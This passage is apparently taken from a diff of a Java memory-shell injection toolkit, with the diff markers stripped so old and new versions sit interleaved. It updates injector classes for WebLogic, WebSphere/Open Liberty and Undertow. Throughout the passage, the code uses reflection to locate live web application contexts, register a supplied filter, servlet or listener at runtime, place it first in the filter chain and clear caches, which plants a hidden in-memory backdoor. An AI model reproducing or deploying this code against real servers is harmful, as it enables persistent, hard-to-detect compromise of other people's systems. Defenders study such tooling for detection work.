} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
@@ -44,7 +44,7 @@ public class UndertowServletInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -213,30 +213,25 @@ public class UndertowServletInjector {
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
@@ -1,13 +1,17 @@
package com.reajason.javaweb.memshell.injector.weblogic;
import javax.management.MBeanServer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
@@ -40,7 +44,7 @@ public class WebLogicFilterInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -75,93 +79,38 @@ public class WebLogicFilterInjector {
return c + "(" + r + ")";
}
public static Object[] getContextsByMbean() throws Throwable {
Set<Object> webappContexts = new HashSet<Object>();
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
theOneMethod.setAccessible(true);
Object serverRuntime = theOneMethod.invoke(null);
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
getApplicationRuntimesMethod.setAccessible(true);
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
for (int i = 0; i < applicationRuntimeSize; i++) {
Object applicationRuntime = Array.get(applicationRuntimes, i);
try {
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
int componentRuntimeSize = Array.getLength(componentRuntimes);
for (int j = 0; j < componentRuntimeSize; j++) {
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
}
} catch (Throwable ignored) {
}
try {
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
for (Object componentRuntime : childrenSet) {
try {
Object context = getFieldValue(componentRuntime, "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
}
} catch (Throwable ignored) {
}
}
return webappContexts.toArray();
}
public static Object[] getContextsByThreads() throws Throwable {
Set<Object> webappContexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread != null) {
Object workEntry = getFieldValue(thread, "workEntry");
if (workEntry != null) {
try {
Object context = null;
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
if (connectionHandler != null) {
Object request = getFieldValue(connectionHandler, "request");
if (request != null) {
context = getFieldValue(request, "context");
}
}
if (context == null) {
context = getFieldValue(workEntry, "context");
}
if (context != null) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
}
}
}
return webappContexts.toArray();
}
/**
* weblogic.servlet.internal.WebAppServletContext
* /opt/oracle/wls1036/server/lib/weblogic.jar
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
*/
public static Set<Object> getContext() {
public static Set<Object> getContext() throws Exception {
Set<Object> webappContexts = new HashSet<Object>();
try {
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
} catch (Throwable ignored) {
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
String key = entry.getKey();
if (key.contains("Type=WebAppComponentRuntime")) {
Object value = entry.getValue();
Object managedResource = getFieldValue(value, "managedResource");
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
webappContexts.add(getFieldValue(managedResource, "context"));
}
}
}
try {
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
Object request = null;
try {
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
request = getFieldValue(connectionHandler, "request");
} catch (Exception x) {
// WebLogic 10.3.6
request = workEntry;
}
if (request != null) {
webappContexts.add(getFieldValue(request, "context"));
}
} catch (Throwable ignored) {
}
return webappContexts;
@@ -193,20 +142,14 @@ public class WebLogicFilterInjector {
@SuppressWarnings("unchecked")
public void inject(Object context, Object filter) throws Exception {
Map filters = (Map) getFieldValue(getFieldValue(context, "filterManager"), "filters");
for (Object obj : filters.keySet()) {
if (obj.toString().contains(getClassName())) {
return;
}
}
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null);
Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses");
cachedClasses.put(getClassName(), filter.getClass());
if (((Map) getFieldValue(filterManager, "filters")).containsKey(getClassName())) {
return;
}
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
filterPatternList.add(0, currentMapping);
Object curFilterInfo = filterPatternList.remove(filterPatternList.size() - 1);
filterPatternList.add(0, curFilterInfo);
}
@Override
@@ -248,30 +191,25 @@ public class WebLogicFilterInjector {
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
@@ -1,16 +1,15 @@
package com.reajason.javaweb.memshell.injector.weblogic;
import javax.management.MBeanServer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.*;
import java.util.zip.GZIPInputStream;
@@ -40,7 +39,7 @@ public class WebLogicListenerInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -75,88 +74,39 @@ public class WebLogicListenerInjector {
return c + "(" + r + ")";
}
static Object[] getContextsByMbean() throws Throwable {
/**
* weblogic.servlet.internal.WebAppServletContext
* /opt/oracle/wls1036/server/lib/weblogic.jar
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
*/
public static Set<Object> getContext() throws Exception {
Set<Object> webappContexts = new HashSet<Object>();
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
theOneMethod.setAccessible(true);
Object serverRuntime = theOneMethod.invoke(null);
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
getApplicationRuntimesMethod.setAccessible(true);
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
for (int i = 0; i < applicationRuntimeSize; i++) {
Object applicationRuntime = Array.get(applicationRuntimes, i);
try {
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
int componentRuntimeSize = Array.getLength(componentRuntimes);
for (int j = 0; j < componentRuntimeSize; j++) {
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
}
} catch (Throwable ignored) {
}
try {
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
for (Object componentRuntime : childrenSet) {
try {
Object context = getFieldValue(componentRuntime, "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
}
} catch (Throwable ignored) {
}
}
return webappContexts.toArray();
}
public static Object[] getContextsByThreads() throws Throwable {
Set<Object> webappContexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread != null) {
Object workEntry = getFieldValue(thread, "workEntry");
if (workEntry != null) {
try {
Object context = null;
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
if (connectionHandler != null) {
Object request = getFieldValue(connectionHandler, "request");
if (request != null) {
context = getFieldValue(request, "context");
}
}
if (context == null) {
context = getFieldValue(workEntry, "context");
}
if (context != null) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
String key = entry.getKey();
if (key.contains("Type=WebAppComponentRuntime")) {
Object value = entry.getValue();
Object managedResource = getFieldValue(value, "managedResource");
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
webappContexts.add(getFieldValue(managedResource, "context"));
}
}
}
return webappContexts.toArray();
}
public static Set<Object> getContext() {
Set<Object> webappContexts = new HashSet<Object>();
try {
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
} catch (Throwable ignored) {
}
try {
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
Object request = null;
try {
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
request = getFieldValue(connectionHandler, "request");
} catch (Exception x) {
// WebLogic 10.3.6
request = workEntry;
}
if (request != null) {
webappContexts.add(getFieldValue(request, "context"));
}
} catch (Throwable ignored) {
}
return webappContexts;
@@ -1,10 +1,12 @@
package com.reajason.javaweb.memshell.injector.weblogic;
import javax.management.MBeanServer;
import javax.servlet.Servlet;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
@@ -45,7 +47,7 @@ public class WebLogicServletInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -80,88 +82,39 @@ public class WebLogicServletInjector {
return c + "(" + r + ")";
}
public static Object[] getContextsByMbean() throws Throwable {
/**
* weblogic.servlet.internal.WebAppServletContext
* /opt/oracle/wls1036/server/lib/weblogic.jar
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
*/
public static Set<Object> getContext() throws Exception {
Set<Object> webappContexts = new HashSet<Object>();
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
theOneMethod.setAccessible(true);
Object serverRuntime = theOneMethod.invoke(null);
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
getApplicationRuntimesMethod.setAccessible(true);
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
for (int i = 0; i < applicationRuntimeSize; i++) {
Object applicationRuntime = Array.get(applicationRuntimes, i);
try {
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
int componentRuntimeSize = Array.getLength(componentRuntimes);
for (int j = 0; j < componentRuntimeSize; j++) {
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
}
} catch (Throwable ignored) {
}
try {
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
for (Object componentRuntime : childrenSet) {
try {
Object context = getFieldValue(componentRuntime, "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
}
} catch (Throwable ignored) {
}
}
return webappContexts.toArray();
}
public static Object[] getContextsByThreads() throws Throwable {
Set<Object> webappContexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
if (thread != null) {
Object workEntry = getFieldValue(thread, "workEntry");
if (workEntry != null) {
try {
Object context = null;
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
if (connectionHandler != null) {
Object request = getFieldValue(connectionHandler, "request");
if (request != null) {
context = getFieldValue(request, "context");
}
}
if (context == null) {
context = getFieldValue(workEntry, "context");
}
if (context != null) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
String key = entry.getKey();
if (key.contains("Type=WebAppComponentRuntime")) {
Object value = entry.getValue();
Object managedResource = getFieldValue(value, "managedResource");
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
webappContexts.add(getFieldValue(managedResource, "context"));
}
}
}
return webappContexts.toArray();
}
public static Set<Object> getContext() {
Set<Object> webappContexts = new HashSet<Object>();
try {
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
} catch (Throwable ignored) {
}
try {
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
Object request = null;
try {
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
request = getFieldValue(connectionHandler, "request");
} catch (Exception x) {
// WebLogic 10.3.6
request = workEntry;
}
if (request != null) {
webappContexts.add(getFieldValue(request, "context"));
}
} catch (Throwable ignored) {
}
return webappContexts;
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.injector.websphere;
import javax.servlet.Filter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
@@ -9,14 +8,12 @@ import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* tested v7v8
* update 2023/07/08
*
* @author ReaJason
*/
public class WebSphereFilterInjector {
@@ -46,7 +43,7 @@ public class WebSphereFilterInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -87,11 +84,32 @@ public class WebSphereFilterInjector {
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
for (Object wsThreadLocal : wsThreadLocals) {
Object[] threadLocals = null;
boolean raw = false;
try {
// WebSphere Liberty
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
} catch (NoSuchFieldException ignored) {
}
if (threadLocals == null) {
// Open Liberty
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
raw = true;
}
for (Object threadLocal : threadLocals) {
if (threadLocal == null) {
continue;
}
Object value = threadLocal;
if (raw) {
value = getFieldValue(threadLocal, "value");
}
if (value == null) {
continue;
}
// for websphere 7.x
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
if (value.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(value, "stack");
for (Object stack : stackList) {
try {
Object config = getFieldValue(stack, "config");
@@ -99,8 +117,9 @@ public class WebSphereFilterInjector {
} catch (Exception ignored) {
}
}
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
}
}
return contexts;
@@ -132,43 +151,42 @@ public class WebSphereFilterInjector {
@SuppressWarnings("unchecked")
public void inject(Object context, Object filter) throws Exception {
Object webAppConfiguration = getFieldValue(context, "config");
if (invokeMethod(webAppConfiguration, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
Object webAppConfig = getFieldValue(context, "config");
if (invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
return;
}
ClassLoader classLoader = context.getClass().getClassLoader();
Class<?> filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
Class<?> iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
Class<?> iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
Class<?> filterMappingClass = loadClass(context.getClass(), "com.ibm.ws.webcontainer.filter.FilterMapping");
Class<?> iFilterConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.filter.IFilterConfig");
Class<?> iServletConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.servlet.IServletConfig");
Object filterManager = getFieldValue(context, "filterManager");
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{getClassName()});
setFieldValue(filterConfig, "name", getClassName());
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
invokeMethod(webAppConfig, "addFilterInfo", new Class[]{iFilterConfigClass}, new Object[]{filterConfig});
try {
// v8
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
// com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
setFieldValue(context, "initialized", false);
Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{getClassName(), getClassName(), filter, filter.getClass()});
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
setFieldValue(context, "initialized", true);
// com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
// com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
List uriFilterMappingInfos = (List) getFieldValue(webAppConfig, "uriFilterMappingInfos");
uriFilterMappingInfos.remove(filterMapping);
uriFilterMappingInfos.add(0, filterMapping);
} catch (Exception e) {
// v7
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
setFieldValue(filterConfig, "dispatchMode", new int[]{0});
setFieldValue(filterConfig, "name", getClassName());
invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
// WebSphere7
List uriFilterMappings = (List) getFieldValue(filterManager, "_uriFilterMappings");
Object fmInfo = uriFilterMappings.remove(uriFilterMappings.size() - 1);
uriFilterMappings.add(0, fmInfo);
}
// 清除缓存
invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null);
Object chainCache = getFieldValue(filterManager, "chainCache");
try {
invokeMethod(chainCache, "clear", null, null);
} catch (Exception e) {
invokeMethod(getFieldValue(chainCache, "chainCacheMap"), "clear", null, null);
}
}
@Override
@@ -176,6 +194,19 @@ public class WebSphereFilterInjector {
return msg;
}
// bypass osgi
public static Class<?> loadClass(Class<?> context, String className) throws ClassNotFoundException {
if (context.equals(Object.class)) {
throw new ClassNotFoundException(className);
}
ClassLoader loader = context.getClassLoader();
try {
return loader.loadClass(className);
} catch (ClassNotFoundException e) {
return loadClass(context.getSuperclass(), className);
}
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
@@ -255,13 +286,9 @@ public class WebSphereFilterInjector {
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
}
@SuppressWarnings("all")
@@ -38,7 +38,7 @@ public class WebSphereListenerInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -75,11 +75,32 @@ public class WebSphereListenerInjector {
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
for (Object wsThreadLocal : wsThreadLocals) {
Object[] threadLocals = null;
boolean raw = false;
try {
// WebSphere Liberty
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
} catch (NoSuchFieldException ignored) {
}
if (threadLocals == null) {
// Open Liberty
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
raw = true;
}
for (Object threadLocal : threadLocals) {
if (threadLocal == null) {
continue;
}
Object value = threadLocal;
if (raw) {
value = getFieldValue(threadLocal, "value");
}
if (value == null) {
continue;
}
// for websphere 7.x
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
if (value.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(value, "stack");
for (Object stack : stackList) {
try {
Object config = getFieldValue(stack, "config");
@@ -87,8 +108,9 @@ public class WebSphereListenerInjector {
} catch (Exception ignored) {
}
}
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
}
}
return contexts;
@@ -6,7 +6,9 @@ import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.HashSet;
import java.util.Properties;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
@@ -39,7 +41,7 @@ public class WebSphereServletInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -76,11 +78,32 @@ public class WebSphereServletInjector {
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
for (Object wsThreadLocal : wsThreadLocals) {
Object[] threadLocals = null;
boolean raw = false;
try {
// WebSphere Liberty
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
} catch (NoSuchFieldException ignored) {
}
if (threadLocals == null) {
// Open Liberty
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
raw = true;
}
for (Object threadLocal : threadLocals) {
if (threadLocal == null) {
continue;
}
Object value = threadLocal;
if (raw) {
value = getFieldValue(threadLocal, "value");
}
if (value == null) {
continue;
}
// for websphere 7.x
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
if (value.getClass().getName().endsWith("FastStack")) {
Object[] stackList = (Object[]) getFieldValue(value, "stack");
for (Object stack : stackList) {
try {
Object config = getFieldValue(stack, "config");
@@ -88,8 +111,9 @@ public class WebSphereServletInjector {
} catch (Exception ignored) {
}
}
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
}
}
return contexts;
@@ -1,9 +1,9 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterInjector;
import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector;
import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector;
